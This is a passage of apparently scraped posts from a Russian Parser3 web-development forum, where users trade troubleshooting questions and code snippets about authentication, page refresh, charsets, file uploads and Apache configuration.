В крайнем случае особенности safe mode позволяют \"вывернуться\" даже и без сборки. Достаточно, чтобы у необходимых файлов была группа [b]или[/b] владелец, совпадающий с группой или владельцем процесса. Следовательно -- сделайте \"chown yourname.othergroup\" (после точки группа юзера nobody) и дайте группе необходимые уровни доступа (чтение-запись-выполнение). Во всяком случае, мне помогло (надо было один раз)."
"16207","Всем привет.\
\
Как правильнее всего после авторизации апачем сделать логаут. На вскидку попробовал вот так:\
[code]\
@main[]\
$env:REMOTE_USER[]\
$response:location[http://www.localhost.ru/lt/]\
[/code]\
Но, разумеется -- не подошло.\
\
Подскажите, пожалуйста."
"16208","Дело в том, что я не работал никогда в linux, а компиляция парсера д.б. по всей видимочти имеенно там:("
"16209","если коротко: со стандартной авторизацией хорошо сделать logout нельзя.\
\
скажем, MSIE кэширует пароль так прочно, что нужно… закрыть все окна MSIE, даже не смотрящие на ваш сайт, а из js это сделать нельзя.\
\
диагноз: если ваш заказчик настаивает на logout объясните ему плюсы и минусы стандартного подхода:\
\
плюс: при стандартной авторизации из закрытых разделов легко сделать getright/reget файла в 200M.\
\
плюс: подавляющее большинство пользователей чихать хотело на этот дополнительный пароль: они пользуются один компьютер=один человек= один общий пароль на вход в windows(у многих и того нет), и им нужен не logout — им нужен крыжик «скэшировать пароль», такой уже[x] есть готовый, и привычный им.\
\
минус: да, в MSIE пароль безумно кэшируется. такой уж он уродился. \
«пожалуйста, для вашей безопасности, по окончании работы с системой закройте [b]все[/b] окна браузера»"
"16210","Есть некоторый файлик его нужно письмом отослать по некоторому адресу. Машина Win, без SMTP сервера. \
Можно сделать , чтобы юзер хотя бы тыкал по ссылке и создавалось письмо с приоттаченым файлом? Должно же такое быть :(\
Помогите пожалуйста!\
"
"16211","О даже как. Спасибо.\
\
С заказчиком мне проще -- это я сам. =) Наверное тогда оставлю систему без возможности логаута и действительно расскажу пользователям, что следует просто закрыть IE.\
\
Дело в том, что с куками, SessionID и прочими нестандартами я не хотел бы работать без явной необходимости и для моей задачи очень даже красиво подходит REMOTE_USER (ничего не таскается на каждую страницу, всегда есть и т.д.).\
\
PS: Жаль, хотелось дать возможность пользователям войти под другим логином. =("
"16212","кстати, я не знаю способа так сделать.\
никто вам не «должен» ;)\
"
"16213","...Насколько полезна|нужна функция выхода? Честно говоря, я вижу такую функцию только в двух случаях:\
1) чтобы \"перезайти\" под другим эккаунтом\
2) чтобы спрятать конфиденциальные данные, если машину нельзя заблокировать.\
\
Честно говоря, по второму пункту сильные сомнения, так как мои наблюдения показывают, что пользователю куда проще и понятнее кликнуть в кнопку \"закрыть\" текущего окна и функцией выхода мало кто пользуется.\
\
Сейчас распечатал главу про аутентификацию апача. Попробую копать в сторону первого варианта, причем с улучшениями -- просто вместо выхода предложу зайти под другим эккаунтом."
"16214","мои исследования вопроса показали, что MSIE кэширует все пароли, на которые ему когда-либо говорили granted. увидев потом denied он не вышибает их из cache.\
\
да: как следствие, перезайти под другим именем со стандартной авторизацией нельзя\
\
и да: пользователь любит просто закрывать окно. если он открыл любое другое окно… он нарывается.\
\
это цена, которую платит пользователь стандартной авторизации.\
кто-то думал, бывает что-то бесплатно?"
"16215","За то время, что вы тут ждете у моря погоды уже давно бы все собрали. Там три команды в общем случае надо:\
./configure\
make\
make install\
\
почитайте в документации, не надо ли заменить первую на что-то, типа \"./configure --disable-safe-mode\"...\
\
...или свалите с линукса, ибо рановато."
"16216","В общем, все понял, спасибо. Просто пробую теперь рассуждать, как начинающий юзабилист =)\
\
О бесплатном: парсер =) во всяком случае, вы же пока не приказываете рекламу же ставить, а просто предлагаете =)))"
"16217","вопрос не совсем по прасеру, но просто в инете нигде не нашел ...\
Можно ли сделать чтобы при нажатии на ссылку отправлялись данные из формы ?\
Пример: есть календарь с датами + форма рядом с поиском по датам и всякими чекбоксами. Можно ли сделать так чтобы при нажатии на день в календаре отправлялись данные этих чекбоксов ?"
"16218","[code]\
<a href=\"#\" onclick=\"form.submit();\" title=\"Parser rulez :)\">cсылка</a>\
[/code]"
"16219","<a href=\"javascript:form.submit();\" title=\"Parser rulez :)\">cсылка</a>\
"
"16222","Написал сообщение в форуме. Оно появилось выше http://www.parser.ru/forum/?id=16217\
Через пять минут оно пропало и на его месте появилось новое сообщение. При нажатии на это сообщение получил ошибку 404. \
\
И после всего этого последним сообщением стало опять http://www.parser.ru/forum/?id=16217, а мое и это новое бесследно исчезли."
"16223","это ничего — завтра улетаю, временно можно будет постить всякую ерунду."
"16226","типичное проявление лени. лень приветствуется в ограниченном количестве."
"16227","Опытным путем вырисовалась такая картина:\
<a href=\"#\" onclick=\"Javascript:form.submit();\">xxx</a>\
href=\"Javascript:void(0)\" и иже с ним\
не работает в Опере 7.10(глюк ?), хотя в остальных браузерах все ок.\
\
а работает только как\
<a href=\"Javascript:form.submit();\">xxx</a>\
\
Обнаружились также глюки Оперы с передачей в js \"this\",\
в конструкцях типа <input type=\"text\" onchange=\"call_func(this)\"/>"
"16230","что надо написать, чтобы обрабатывалась ошибка неправильной даты. Как не писал не выходит перехватить ... вылазит ошибка\
auto.p(41): 'create' invalid datetime\
\
[code]\
^try{ \
$now[^date::create($form:year;$form:month;$form:day)]\
}{\
#что тут написать ?\
}\
[/code]"
"16231","[code]\
^if($env:REQUEST_METHOD eq POST){\
   $response:refresh[\
      $.value[0]\
      $.url[?Select=Search&Text=$form:fields.Text]\
   ]\
}\
[/code]"
"16232","что значит этот атрибут?\
\
<br clear=\"all\">"
"16234","На моём домашнем сервере такая конструкция приводит к жёсткому зависанию сервера и дальнейшему его вырубанию\
[code]\
$response:location[$request:uri]\
$response:refresh[ \
   $.value[0] \
   $.url[$request:uri] \
] \
[/code]\
насколько я понимаю, я просто зацикливаю процесс\
Вопрос: что будет, если я это всё выложу в интернет. У моего хостера (Валуехост) есть какая-нибудь защита от идиотов типа меня?\
"
"16235","Писал, все равно тоже самое ..."
"16236","[quote]Для визуальных агентов пользователей можно использовать атрибут clear для определения того, обтекает ли следующая за элементом BR разметка изображения и другие объекты, плавающие относительно левого или правого поля или начинается ниже объекта. Дальнейшая информация приведена в разделе о выравнивании и плавающих объектах. Авторам рекомендуется использовать таблицы стилей для управления обтеканием текстом изображений и других объектов.[/quote]\
\
Открываем спецификацию CSS и видим:\
\
[quote]\
clear - это свойство определяет, какие стороны блока, порожденного элементом, не могут соседствовать с предшествующим перемещаемым блоком.\
возможные значения (left, right, both, none)\
[/quote]\
\
Вывод: читайте спецификации."
"16237","ежели у него нет такой защиты, он просто ручками остановит ваш процесс и вы скорее всего распрощаетесь с вашим хостингом."
"16238","Это все происходит в локальной сети, и трафик тут не считается, тем более что файлики не больше 10 кб. и апачь стоит на машине клиента, просто делаю другу курсовую.\
А вот как-то нужно отослать этот файлик емылом, причем на реальный адрес! а никакие внешние программы использовать нельзя только аутглюк или бат. Единственное что надо(если можно) это открыть окно засылки  почты с указанным адресом и приаттаченым файлом. Реально ли такое сделать? Html’ем можно как-то это передать или нет?  Или может явой?\
"
"16239","Нужно вырезать из строки все вхождения русских букв, а оставить только английские и цифры и знак подчеркивания. Уже всякое попробовал! ну не че не работает.  По идеи так $temp[^temp[\\W][g]{}]    но падла русские оставляет, видать в класс \\w и русские тоже запиханы? \
\
как сделать то?"
"16240","Ребята, помогите. После загрузки страницы, нужно ее один раз рефрешнуть, только 1 раз, иначе ссылки на графику не обновляются, данные из базы обновляются, а вот графика только после кнопки \"Обновить\". Известными мне способами не получается. В лучшем случае идет постоянный рефреш через заданное количество секунд (<META HTTP-EQUIV='refresh' CONTENT='n'> или аналогично парсерным кодом). Чего то я и форуме ответа не нашел, может плохо искал. Ну спасите, друзья !!!"
"16241","$response:refresh[$.value[0]   \
                  $.url[/]     \
                 ] "
"16244","В целом же рефреш делается так:\
[code]\
$response:refresh[$.value[0] \
$.url[$request:uri] \
]\
[/code]"
"16245","Ребята, я же написал, стандартный код парсера, каковой здесь приведен, не помогает. Это опять же приводит к постоянному рефрешу, экранчик дергается !!!"
"16246","чисто для проверки сделал:\
$menu_url[$form:menu__url]                             \
$menu_url[^menu_url.match[\\b([а-я]+)\\b\\s*][gi]{}]      \
$menu_url\
где глюки?                          "
"16248","буковки все равно оставляет :( А ведь вроде все правельно?\
где могут быть грабли?"
"16249","Пользователь через форму изменяет данные в некой таблице БД, кроме обычных полей базы в форме еще встроена загрузка от юзера картинок через <input type=\"file\" ...> и рядом с ним отображается в ограниченном размере (50x50 пиксел)текущая картинка. Все прекрасно работает. Данные изменяются, картинки на сервер загружаются. Но когда повторно грузиться страница с этой формой, измененные данные в таблице в форме корректно отображаются сразу, а вот измененная картинка появляется только после нажатия кнопки \"Обновить\" в броузере."
"16250","Если тег form будет сожержать отребут action с значением mailto:name@mail.com, тогда всё будет высылатся по почте с использванием почтового клиента, например Outlook Express."
"16254","у тебя сразу после засылки формы все нормально а потом старая картинка появляется?"
"16255","Чего то подобное я уже пробовал, пришлось вводить глобальную переменную, так как указанная страница с формой грузиться повторно не сразу, а через другую страницу ..., короче не получилось у меня. Может есть более менее стандартное решение, да хоть бы через возможности javascript или vbscript, черт его знает !!!"
"16256","точнее объясни что делается?"
"16258","Я не совсем понял, вместо rendum_number надо что то конкретное вписать, либо как есть rendum_number. Если как есть, то не помогает, сейчас попробовал, опять спасает только \"Обновить\""
"16260","Вы наверное имеете ввиду: \
<meta http-equiv=\"Pragma\" content=\"no-cache\">\
<meta http-equiv=\"Expires\" content=\"0\">\
<meta http-equiv=\"Cache-Control\" content=\"no-cache,no-store,must-revalidate\">\
Это все уже есть, иначе, скорее всего и из таблицы БД данные  после изменения правильно не отображались, а у меня отображаются правильно. Проблема только с картинками, как я уже описывал !!!"
"16261","Опять не врубился. Случайное число это что, то что я из головы должен вписать, либо через какой нибудь псевдогенератор случайных чисел. Ну попробовал я сейчас вставить число 5, ничего не помогло."
"16263","Большое спасибо Роману Грудзинскому!!! Проблема решена этим магическим кодом:\
<img src=\"$sel_foto1?^math:random(1000)\" valign=middle width=50>\
"
"16265","Будет, полагаю, то же, что и на домашней машине. Вы делаете постоянный внутренний редирект на эту же страницу, с которой и редиректитесь. Это -- типичный бесконечный цикл. Кстати, второй оператор (с внешним рефрешем) вообще не имеет смысла.\
И еще -- \"отцы\" крайне не советуют редирект за 0 секунд делать (подробности в поиске по форуму)."
"16266","на который отправляется результат из формы.\
В таком случае делай рефреш как я показал чуть выше.\
"
"16267","Хотел добавить автоматическое добавление прозы на сайт.\
\
Что-то из этого не фурычит.\
\
[code]\
<form method=POST>\
<p><b>Название<br><input name=name></p>\
<p><b>Автор<br><input name=author></p>\
<p><b>Файл</b><br><input name=file type=file></p>\
<p><input type=submit value=Добавить></p>\
</form>\
^if(def $form:name && def $form:autor && def $form:file){ \
$nm[^file:basename[$form:file]]\
^form:file.save[text;/art/prosa/$nm]\
^adpr.append{$form:name	$form:author	$nm\
}] \
^adpr.save[../art/prosa/prosa.cfg]\
…добавлено\
}{\
…для добавления необходимо заполнить все поля формы \
}\
[/code]\
\
Насколько я понимаю, все делоо в сохранении файла. Как енто правильно сделать?"
"16269","Ничего не поменялось..."
"16270","<form method=POST [color=\"red\"]enctype=\"multipart/form-data\"[/color]>\
<p><b>Название<br><input [color=\"red\"]type=\"text\"[/color] name=name></p>\
<p><b>Автор<br><input [color=\"red\"]type=\"text\"[/color] name=author></p>\
<p><b>Файл</b><br><input name=file type=file></p>\
<p><input type=submit value=Добавить></p>\
</form>\
^if(def $form:name && def $form:autor && def $form:file){ \
$nm[[color=\"red\"]$form:file.name[/color]]\
^form:file.save[text;/art/prosa/$nm]\
^adpr.append{$form:name	$form:author	$nm\
}] \
^adpr.save[../art/prosa/prosa.cfg]\
…добавлено\
}{\
…для добавления необходимо заполнить все поля формы \
}\
\
Может что еще забыл но по-моему так"
"16271","Спасибо огромное."
"16274","Есть таблица tabledef\
в ней есть поле lookup_table\
\
есть обьявленная таблица под именем, хранящимся в $tabledef.lookup_table\
как вызвать метод menu этой обьявленной таблицы, используя $tabledef.lookup_table?\
уже час бьюсь, не получается :(\
\
"
"16276","[code]\
^process{^^${tab.lookup_table}.menu{\
    ^$${tab.lookup_table}.col\
}[<br>]\
}\
[/code]"
"16277","Нет конечно.\
^ заставляет понимать компилятор { как обычный символ. В результате получается совсем не то :). "
"16278","при переходе по ссылке НОВОСТИ, к примеру, файла index.html в директории news корневого каталога сайта открывается но логотип не находи (что в принципе логично) неужели в каждой дирректории дублировать картинки которые используют все страницы?"
"16279","Попутно:\
где взять greek charsets?"
"16281","Почему на этом форуме обрабатывает добавление сообщения не та же страница, что и выводит форму?\
Вопрос, наверное, адресован Мише, но если у кого есть идея, почему надо делать именно так, я с удовольствием выслушаю.\
Я надумал только такую цель: чтобы легче было фиксировать сколько и когда добавляют сообщения через логи. :-\\\
буду рад услышать Ценные Указания (сам сейчас форум пишу)"
"16283","Дело в том, что фактически задача состоит в генерации собственного кода и его выполнении, а это делается с помощью ^process[] ..."
"16284","Пробовал и пример из FAQ'а:\
\
$rep[^table::create{from   to\
^taint[^#0A]   <br>\
^taint[^#0D]   <br>}]\
$s[$form:par]\
^s.perlace[$par]\
\
Результат ноль. Не заменяеться ;(\
Поможите плиз..."
"16287","[code]\
^tab.append{$ind[color=\"red\"]|tab|[/color]^taint[table][$form:par]}\
\
\
$rep[^table::create{from[color=\"red\"]|tab|[/color]to\
^taint[^#0A][color=\"red\"]|tab|[/color]<br>\
^taint[^#0D][color=\"red\"]|tab|[/color]<br>}]\
$s[$form:par]\
^s.[color=\"red\"]rep[/color]lace[$[color=\"red\"]rep[/color]]\
[/code]\
\
Здесь вместо [color=\"red\"]|tab|[/color] нужно вставить табулятор.\
"
"16288","Можно ли как-нибудь получить subj? $caller.self возвращает контекст, а имя то, имя как получить? Или это не возможно?"
"16289","пробовал, рисунок вообще пропадает .."
"16290","СОРИ?! а это как?\
смотрел русские кодировки которые шли в пакете с денвером2 но логику так и не понял."
"16291","$form:[auth.login] — получает поле auth.login\
или\
$field.[b^eval(2+3)] — возвратит значение поля b5 объекта field. \
ну или\
$one[some_parameter1]\
$form.[$one]\
\
Все таки process — слишком дорогое удовольствие, неужели нет другого решения... :("
"16292","... тем более, что при большой нагрузке вполне можно использовать кеширование."
"16293","Я конечно только третьи сутки как на парсере пишу, но уж такие-то вещи понимаю, это все описано в мануале. А это явно нестандартная ситуация, поэтому и написал сюда..."
"16294","Я пробовал следующее:\
[code]\
@main[]\
$rep[^table::create{from	to\
^taint[^#0A]	<br>\
^taint[^#0D]	<br>}]\
$s[\
Test	test test...\
Test	test test...\
Test	test test...\
Test	test test...\
]\
^s.replace[$rep]\
[/code]\
Всё прекрасно работает, вот результат:\
[code]\
<br>Test	test test...<br>Test	test test...<br>Test	test test...<br>Test	test test...<br>\
[/code]\
В вашем коде используецца неизвестный оператор [i]perlace[/i] и неопределённая таблицца перестановков [b]$par[/b] вместо [b]$rep[/b]"
"16296","При создании регистрации встал вопрос о паролях.\
Но что-то не хочет у меня правильно работать хеширование :(\
\
Это работает...\
\
[code]\
$crypted[^math:crypt[23;^$apr1^$]] \
^if(^math:crypt[23;$crypted] eq $crypted){ \
OK\
}{\
NO-NO\
} \
[/code]\
\
.... но стоит сравнить пароли из базы и из формы....\
\
[code]\
[b]Добавляем:[/b]\
$crypted[^math:crypt[$form:pass;^$apr1^$]] \
^connect[$SQL.connect-string]{^void:sql{UPDATE members SET ... pass='$crypted'... }}\
\
[b]Извлекаем:[/b]\
^connect[$SQL.connect-string]{$mem[^table::sql{select pass from members where nick=\"$form:nick\"}]}\
\
[b]Проверяем:[/b]\
^if(^math:crypt[$form:pass;$mem.pass] eq $mem.pass){\
OK\
}{\
NO-NO\
} \
[/code]\
\
... получается несколько разный результат, сравните:\
\
[b]$apr1$Xumnh3Ue$ZDGkX2B2ABlqa/Bkuz8hW0[/b] из формы\
и\
[b]$apr1$Xumnh3Ue$ZDGkX[/b] из базы\
\
Не знаю как и быть :(\
Подскажите, пожалуйста, что не так."
"16297","Первая мысль, которая пришла в голову когда посмотрел на результаты: А размер поля в базе соответствует? Не может ли хэш обрезаться по этой причине? Ну, например поле в базе varchar(20) и когда из формы приходит хэш в 50 символов туда помещаецца тока 20 первых.\
\
Сорри, если глупость сморозил..."
"16298","[code]\
# в переменную tmp кладем таблицу, имя которой лежит в $tabledef.lookup_table\
$tmp[$$tabledef.lookup_table]\
# делаем menu...\
^tmp.menu{\
   ...\
}\
[/code]\
"
"16301","это уже что-то, хотя до реализации далеко. Но сдуру взял да и сделал уже почти полсайта, думал что за кодировкой дело не встанет. Придется разбираться."
"16302","нужна греческая кодировка windows-1253, почитал описания файла кодировки - понял структуру но не имею понятия как это реализовать. Нужна наводка типа: берешь такой то редактор который может показать греческий символ в шестнадцатиричной и десятичной системе, узнаешь код символа, подставляешь на место той буквы где она должна находиться (ну это как я представляю, человек совершенно незнакомый с програмированием). Хотя бы в общих чертах весь процесс. Плиз! нужно срочно."
"16304","Скажите, работает ли Парсер с ССЛ? \
\
Мне срочно нужно сделать страшно безорпасное соединение, а с чего начать понять не могу...\
\
Пытался найти mod_ssl под винду - нет нигде, а как тогда?\
\
И вообще, это должно быть свойством Апача или Парсера - этот ССЛ?\
\
Очень надеюсь на Вашу помощь! Заранее большое спасибо!"
"16305","Я так понял это нечто экранной клавиатуры"
"16307","И читать там INSTALL.Win32"
"16308","Большое спасибо, точно так и было :]\
Надо же мне было так ошибиться.... :)"
"16309","Ну вот, стоило ему всего на полчаса прилечь отдохнуть, так сразу гневные сообщения пошли..."
"16310","Решил проверить и специально вызвал вот  такие ошибки\
\
.../index.html(3): 'ttt' (void) not a method or junction, can not call it  type: parser.runtime\
parser is in safe mode: reading files of foreign group and user disabled ...\
\
Скажите пожалуйста, как сделать так,  чтобы  при ошибках парсера посетителю сайта выдавалась не ошибка, а что-нить вроде \"Извините, на сайте ошибка\". \
Обращаю внимание - это не 404 ошибка\
Спасибо\
"
"16311","Ну мало ли... Анализ нагрузки, там, оптимизация запросов... :).\
Спасибо, за ответ.\
А что в файле message.html или addmessage.html много кода? У меня в сумме даже меньше, чем в index.html...\
Правда, я еще прикрутил возможность создания нескольких форумов, к вашим наработкам — лишний if... (файл index.html сначала показывает список форумов, а потом, если указан forum_id показывает список корневых тредов, задаем message_id — показывает сообщение, не сильно нагружено? Я как-то стараюсь меньше страниц делать; не зря ли?)"
"16313","http://www.microsoft.com/typography/unicode/1253.htm?fname=%20&fsize= - charset windows-1253\
\
http://www.unicode.org/charts/PDF/U0370.pdf - charset Unicode"
"16314","Используюй таблицу windows-1251 для создания 1253, допустим альфа в верхнем регистре это 0xC1, а в нижнем 0xE1 тоже самое и в кирилице, буква А это 0xC1, а а это 0xE1"
"16315","До сих пор без проблем ставил Прасер себе дома на 2K Server - IIS, на хостинг RedHat - Apache. И вот пришлось на ФриБСД для нужд локальной сети.\
\
Вроде все окей. Парсер говорит свою версию, но апач ругается и выдает 400 ошибку:\
[b]Invalid URI in request GET /test.html HTTP/1.1[/b]\
\
Что делать не знаю.\
Cgi-bin директория находится над веб-корнем,\
ссылаюсь в .htaccess на парсер следующим образом:\
[b]\\usr\\local\\www\\cgi-bin-dist\\parser3.cgi[/b]"
"16317","Если я правильно понял вашу конфигурацию, то надо\
Action parsed-html /cgi-bin-dist/parser3.cgi"
"16318","Классы и xsl вне веб-пространства.\
[code]\
^xdoc::create{\
<?xml version=\"1.0\" encoding=\"$request:charset\"?>\
<!DOCTYPE ex SYSTEM \"xxx.dtd\">\
   $body\
}\
[/code]\
\
Не может найти extrnal entity ...\
xxx.dtd пробовал ложить и в classes и в htdocs и в xsl, нигде не находит :(\
\
Как же все-таки правильно задать путь ?\
\
"
"16321","Здравствуйте!\
У меня возникла проблема с установкой Парсера на net.ru... \
Прочитал у Егорова - получилось... Но когда запретил листинг директории cg-bin стала выдаваться 500 ошибка :( Почитал на форуме...\
\
Миша говорил, что у них там глюки с правами... и что если удалить и загрузить новое, то все будет работать... так и сделал результато - 0.\
\
В чем проблема то, укажите на ошибку...\
\
Конфигурация:\
Парсер качал с http://www.parser.ru/download/freebsd/\
\
auto.p в cgi-bin:\
[code]\
@conf[filespec]\
$charsetsdir[/users/g/a/gammatravel.ru/html/www/cgi-bin/charsets]\
$sqldriversdir[/users/g/a/gammatravel.ru/html/www/cgi-bin/lib]\
\
$CHARSETS[\
#    $.koi8-r[$charsetsdir/koi8-r.cfg]\
#    $.windows-1250[$charsetsdir/windows-1250.cfg]\
    $.windows-1251[$charsetsdir/windows-1251.cfg]\
#    $.windows-1257[$charsetsdir/windows-1257.cfg]\
]\
#change your client libraries paths to \
those on your system\
$SQL[\
	$.drivers[^table::set{protocol	driver	client\
#mysql	$sqldriversdir/libparser3mysql.so	libmysqlclient.so\
#pgsql	$sqldriversdir/libparser3pgsql.so	libpq.so\
#oracle	$sqldriversdir/libparser3oracle.so	/u01/app/oracle/product/8.1.5/lib/libclntsh.so?ORACLE_HOME=/u01/app/oracle/product/8.1.5&ORA_NLS33=/u01/app/oracle/product/8.1.5/ocommon/nls/admin/data\
}]\
]\
\
#for ^file::load[name;user-name] mime-type autodetection\
$MIME-TYPES[^table::set{ext	mime-type\
zip	application/zip\
doc	application/msword\
xls	application/vnd.ms-excel\
pdf	application/pdf\
ppt	application/powerpoint\
rtf	application/rtf\
gif	image/gif\
jpg	image/jpeg\
png	image/png\
tif	image/tiff\
html	text/html\
htm	text/html\
txt	text/plain\
mts	application/metastream\
mid	audio/midi\
midi	audio/midi\
mp3	audio/mpeg\
ram	audio/x-pn-realaudio\
rpm	audio/x-pn-realaudio-plugin\
ra	audio/x-realaudio\
wav	audio/x-wav\
au	audio/basic\
mpg	video/mpeg\
avi	video/x-msvideo\
mov	video/quicktime\
swf	application/x-shockwave-flash\
}]\
\
$LIMITS[\
	$.post_max_size(10*0x400*0x400)\
]	\
\
@fatal_error[title;body]\
$response:status(500)\
$response:content-type[\
        $.value[text/html]\
        $.charset[$response:charset]\
]\
<html>\
<head><title>$title</title></head>\
<body>\
<H1>$title</H1>\
$body\
#for [x] MSIE friendly\
^for[i](0;512/8){<!-- -->}\
</body>\
\
@unhandled_exception_debug[exception;stack]\
^fatal_error[Unhandled Exception (Debug);\
\
<pre>^untaint[html]{$exception.comment}</pre>\
^if(def $exception.source){\
<b>$exception.source</b><br>\
<pre>^untaint[html]{$exception.file^($exception.lineno^)}</pre>\
}\
^if(def $exception.type){exception.type=$exception.type}\
^if($stack){\
	<hr>\
	^stack.menu{\
		<tt>$stack.name</tt> $stack.file^($stack.lineno^)<br>\
	}\
}\
\
]\
\
@unhandled_exception_release[exception;stack]\
^fatal_error[Unhandled Exception;\
\
<p>The server encountered an unhandled exception \
and was unable to complete your request.</p>\
<p>Please contact the server administrator, $env:SERVER_ADMIN\
and inform them of the time the error occurred, \
and anything you might have done that may have caused the error.</p>\
<p>More information about this error may be available in the Parser error log\
or in debug version of unhandled_exception.</p>\
\
]\
\
@unhandled_exception[exception;stack]\
^unhandled_exception_release[$exception;$stack]\
\
@auto[]\
#source/client charsets\
$request:charset[windows-1251]\
$response:charset[windows-1251]\
\
$response:content-type[\
        $.value[text/html]\
        $.charset[$response:charset]\
]\
\
#$SQL.connect-string[mysql://user:pass@host/db?charset=cp1251_koi8]\
#$SQL.connect-string[pgsql://user:pass@host/db]\
#$SQL.connect-string[oracle://user:pass@service?NLS_LANG=RUSSIAN_AMERICA.CL8MSWIN1251&NLS_DATE_FORMAT=YYYY-MM-DD HH24:MI:SS]\
\
[/code]\
\
.htaccess в /html/www/\
[code]\
DirectoryIndex index.html\
\
# назначение обработчиком .html страниц:\
#AddHandler parsed-html html\
#Action parsed-html /cgi-bin/parser3.cgi\
\
# запрет на доступ к .cfg и .p файлам:\
<Files ~ \"\\.(p|cfg)$\">\
Order allow,deny\
Deny from all\
</Files>\
[/code]\
\
Права:\
[code]\
/html - 755\
/html/www - 750\
/html/www/*.html - 644\
/html/www/cgi-bin - 710\
/html/www/cgi-bin/\
		parser3.cgi - 700\
		auto.p -700\
		charsets - 700 or 640 (и так и так пробывал)\
		lib - 700 or 640\
/html/www/cgi-bin/charsets/*.p - 600\
[/code]"
"16322","почему не считается, что я нахожусь в папке /news/, когда у меня URI /NeWs/ ?\
\
почему он чувствителен к регистру? разве это, физически, не одна и та же папка?"
"16323","потому что ПАРСЕР чувствителен к регистру.\
если ты привык с стилю Windows(4 expl: /news/ == /nEWs/) - это плохо, т.к. на серверах под *nix тебя ждут много \"приколов\".\
тебе не проще придерживатся правила, причем довольно простого?\
или ты кащенит? ;-)"
"16325","Вот представляю на всеобщее обозрение маленький кусок кода, который автоматически строит таблицу по данным полученным из запроса к SQL.\
Может кому понадобится.\
[code]\
\
@body[]\
\
# подключение к базе данных и получение данных из таблицы.\
^connect[$connect_string]{\
   $sections[^table::sql{select * from news}]\
}\
\
^view_res[$sections]\
\
@view_res[table]\
# получение названий колонок\
$columns_table[^table.columns[]]\
\
# вывод\
<table border=1> \
   <tr> \
      ^columns_table.menu{\
      <td>$columns_table.column</td> \
      }\
   </tr> \
^table.menu{ \
   <tr>\
      ^columns_table.menu{\
      <td>^if(!def $table.[$columns_table.column]){&nbsp^;}{\
          $table.[$columns_table.column]}</td> \
      }\
   </tr> \
} \
</table> \
\
[/code]"
"16326","Роман, спасибо за уделенное время. Но есть легкая проблема. Скопировал файл из повторного мейла в дирректорию с кодировками парсера, дописал в C:\\WebServer\\usr\\local\\parser3\\auto.p строку\
*$.windows-1253[$charsetsdir/windows-1253.cfg]*. Далее в auto.p сайта дописал $request:charset[windows-1253]. В итоге браузере вижу только вопросы. Если ставить первый файл то выходят \"xxx?\". В качестве сервера Использую Денвер2, система Win XP eng."
"16328","нажимаю линк(у меня он в персонал бар) - а мне \"Unhandled Exception\"\
обидно.\
хоть бы предупреждали - сегоня же в обед читал - все нормально пахало"
"16329","..видимо завтра с утра починят, когда на работ выйдет отвественный....\
\
А вообще интересно, что там за ошибка была)"
"16330","Объясните наконец раз и навсегда - как правильно делать выборку из базы:\
(auto.p):\
<A HREF=\"ed_t.html?~ЧЕГО ТУТ?~=$t.id\">$t.name</A>\
\
(ed_t.html):\
$model[^connect[$connect_string]{\
^table::sql{select * from t where id='~ЧЕГО ТУТ?~'}\
}]\
--\
Подскажите пожалста, а то для меня пенька в доке этот момент не очевиден..."
"16332","(auto.p):\
<A HREF=\"ed_t.html?[color=\"red\"]ваша_переменная[/color]=$t.id\">$t.name</A>\
\
(ed_t.html):\
$model[^connect[$connect_string]{\
^table::sql{select * from t where id=[color=\"red\"]^form:ваша_переменная.int(1)[/color]}\
}]\
\
И еще, почитайте в примерах статьи Миши про SQL он настоятельно не рекомендует в запросах использовать *"
"16336","CGI script error\
\
\
Ошибка исполнения CGI приложения\
\
Русское описание \
CGI приложение было остановлено. Возможно были превышены лимиты на память, процессорное время, или файлы.  \
\
--------------------------------------------------------------------------------\
 \
English description \
CGI (parser3.cgi) pid=(27288) uid=(44772) g=(saprclub.h10.ru): killed by signal=6 Probably CPU, FILE or MEMORY limits have been exceeded \
\
Можно ли как-то этого избежать?"
"16337","Хоть она наверное себя уже давно исчерпала, но имеет право на жизнь.\
\
Может даже получиться написать что-то более удобное. Я за!!!\
Может нашишим такую штуку? Кто ещё за?\
\
Прыгать надо от исправления неудобств существующих программ и тогда можно создать именно то, что все так долго искали.\
\
Напишите свои наблюдения о проблемах с которыми вы с талкиваетесь при работе с ними и может быть нам удасться их исправить.\
Спасибо за внимание."
"16338","переводим \"Probably CPU, FILE or MEMORY limits have been exceeded\"\
и получаем, что ваш процесс, или слишком долго выполнялся, или превысил ограничения при работе с памятью.\
в каждой системе есть ограничения: время выполнения процесса, сколько памяти он может отхапать, ну и конечно квота дискового пространства, ваш процесс привысил какое то ограничение... "
"16340","Как же сделать наоборот?\
В строке \
\
$SQL.connect-string[mysql://user:pass@host/db?charset=cp1251_koi8]\
\
Ну заменяем koi8-r из базы на windows, а вот на Нет.Ру default database charset=windows-1251, а я все сайты в Koi8r делаю и базы храню тоже? Есть способ попроще, чем конвертить весь код, и контент в виндовую кодировку руками. Так как \
koi8_cp1251 - ессно не работает.\
"
"16342","я вот только не совсем понял... я вроде использую net.ru и у них в БД все хранится в koi8... я использую ?charset=cp1251_koi8 (кодировка файликов у меня 1251)\
\
если у тебя файлики в koi8-r, то просто убери ключ из строки подключения..."
"16343","Он же только в твоей базе поменяется.\
От кого уж, а от тебя такое сышать - это новость.\
Обыдно :(\
\
Вот тут например раз 300 эту тему поднимали.\
http://phpclub.net/talk/search.php?s=55b4a003667ca9dce162e09a479978bd&action=showresults&searchid=55843&sortby=lastpost&sortorder=descending"
"16344","и это есть по ссылке, которую ты привел, например [url=\"http://phpclub.net/talk/showthread.php?s=9211a580522dd1f6ea2cbb71943dcf6f&threadid=21107&highlight=defaultcharset\"]тут[/url]\
\
так-же рекомендую ознакомиться с [url=\"/examples/mysql_charsets/\"]этим[/url] описанием.\
\
и надеюсь, что ты не путаешь default charset PHP и MySQL...\
\
P.S. от кого от кого, а от тебя слышать подобную рекомендацию я не удивлен. советовать можно, как мне кажется когда [b]знаешь[/b] а не когда слышал звон...\
"
"16345","Можно-ли по FTP средствами парсера запихать файл?"
"16347","Зачем же тогда множество примеров звонящих о том, как через ssh администрировать свой аккаунт в том числе изменяя кодировку?"
"16348","Это я понял.\
Но я ведь всего-навсего в обрабатываемом htmlе написал\
выдать значение переменной. А он так ругается...\
Насколько я зная, там FreeBSD, под нее стоит апач\
\
Как то можно, не связываясь с сисадмином получить инфо о версиях?"
"16349","и мне без разницы что говорит \"кто-то\", если есть дока, согласно которой этого не может быть..."
